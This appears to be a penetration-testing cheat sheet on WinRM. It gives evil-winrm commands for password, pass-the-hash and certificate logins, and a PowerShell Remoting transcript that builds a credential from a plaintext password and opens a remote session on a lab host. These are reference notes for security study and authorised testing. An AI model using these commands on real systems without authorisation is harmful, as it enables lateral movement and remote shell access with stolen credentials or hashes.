WinRM (5985,5986)

Authentication

Password-based

evil-winrm -i <ip> -u <user> -p <pass>

Pass-the-Hash

evil-winrm -i <ip> -u <user> -H <hash>

Certificate & Key

# -S -> SSL
evil-winrm -i 10.10.11.152 -S -k <key> -c <crt>

PowerShell Remoting

PowerShell Remoting by default uses WinRM for Cmdlets such as Enter-PSSession. Therefore, a user needs to be in the local group Remote Management Users to be a valid user for these Cmdlets. However, instead of WinRM, SSH can also be used for PowerShell remoting.

Creating a PowerShell remoting session via WinRM in a bind shell can cause unexpected behavior. Opt for evil-winrm instead.

> $password = ConvertTo-SecureString "qwertqwertqwert123!!" -AsPlainText -Force

> $cred = New-Object System.Management.Automation.PSCredential("daveadmin", $password)

> Enter-PSSession -ComputerName CLIENTWK220 -Credential $cred
[CLIENTWK220]: PS C:\Users\daveadmin\Documents> whoami
whoami
clientwk220\daveadmin